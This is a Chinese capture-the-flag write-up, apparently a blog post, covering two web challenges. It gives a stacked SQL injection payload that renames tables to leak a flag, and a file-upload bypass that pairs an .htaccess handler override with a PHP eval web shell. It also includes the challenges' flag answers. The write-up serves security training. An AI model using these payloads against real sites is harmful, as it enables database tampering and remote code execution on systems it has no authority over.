NSSCTF-Web题目10

目录

[强网杯 2019]随便注

1、题目

2、知识点

3、思路

[GXYCTF 2019]BabyUpload

1、题目

2、知识点

3、思路


[强网杯 2019]随便注

1、题目
2、知识点

数据库注入,堆叠注入,更改表名

3、思路

正常提交查询,看看数据回显

加入单引号'

?inject=1'

加上注释符,数据正常回显,说明当前是单引号的闭合问题

?inject=1' --+

判断当前表的字段数,说明当前表的字段数有2个

?inject=1' order by 3 --+

判断回显位置

?inject=1' and select 1,2 --+

发现select这些字段都被过滤了,采用大小写,双写都绕过不了

根据题目提示,存在堆叠注入,尝试一下

堆叠注入原理:

服务器端没有对执行数据库语句进行限制,导致可以执行多条数据库语句,php中的mysqli_multi_query函数可以执行多条数据库语句

没有对分号(;)进行过滤

改进:

使用mysqli_query()函数

对分号进行过滤

?inject=1';show databases --+

得到数据库名

还有另外一种方法得到当前数据库的名,这里回显了报错信息,所以使用报错注入函数

?inject=1' and extractvalue(1,concat(0x7e,database())) --+

数据库名:supersqli

判断表名

?inject=1';show tables --+

存在两个表: 1919810931114514、words

判断表的字段

这里表名要使用飘号`,而不是单引号'

1、两者在linux下和windows下不同,linux下不区分,windows下区分

2、在windows下引用数据库、表、索引、列和别名是需要用飘号(`)

?inject=1';show columns from `1919810931114514` --+

?inject=1';show columns from `words` --+

通过之前判断表的字段的有两个,结合这里的字段,判断当前的表为words

现在存在一个问题,select字段不能用,表又是words,不能直接获得flag字段的内容

看别人的wp才知道,alter和rename这两个字段没有被过滤,我们可以将words表改成1919810931114514,再改字段名

poc:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;--+

RENAME TABLE `words` TO `words1`  先将words表名改成words1

RENAME TABLE `1919810931114514` TO `words` 再将1919810931114514改成words

这样改表名才不会冲突

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

将1919810931114514表原来的flag字段名改成id这个名字,这样我们就可以通过搜索id得到flag

show columns from words 查看改完的结果

使用 1' or '1'='1

使用这样的payload是为了闭合 ' 而且不注释掉原本后面数据库的语句

得到flag:NSSCTF{eeaa7910-f2b4-4d94-831b-f5abd8f7c432}


[GXYCTF 2019]BabyUpload

1、题目

2、知识点

文件上传,.htaccess文件的利用

3、思路

这里我们上传一个正常的文件

发现上传不了,jpg、png、jpeg都尝试过了,上传后都是同一结果

经过我的测试,发现是文件内容太大了

重新上传正常图片

将原本的图片内容删掉,随便输入内容,发现可以上传成功,说明对文件大小做了限制

我们尝试上传php文件

发现对后缀名进行了过滤,也对内容进行了过滤

这里发现php的版本为5.6.23,算是比较旧的

尝试上传一个.htaccess文件,这个文件的作用就是可以执行图片里面的php、javascript代码

.htaccess:

<FilesMatch "flag.jpg"> #这一句的内容作用于后面上传的flag.jpg文件
SetHandler application/x-httpd-php
</FilesMatch>

上传成功

因为前面知道会检测文件的内容,php代码不行,我们可以尝试javascript的代码

flag.jpg:

##一句话木马

<script language='php'>eval($_POST[cmd]);</script>

上传成功,使用蚁剑进行连接

原本的url+upload/2acc77dfba671c79863c87009020349c/flag.jpg

在根目录下找到flag文件

得到flag:NSSCTF{d856bb6b-4b7e-48e2-a246-e3ab923562e2}


这篇文章就写到这里了,哪里不懂的或者不足的欢迎批评指正

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值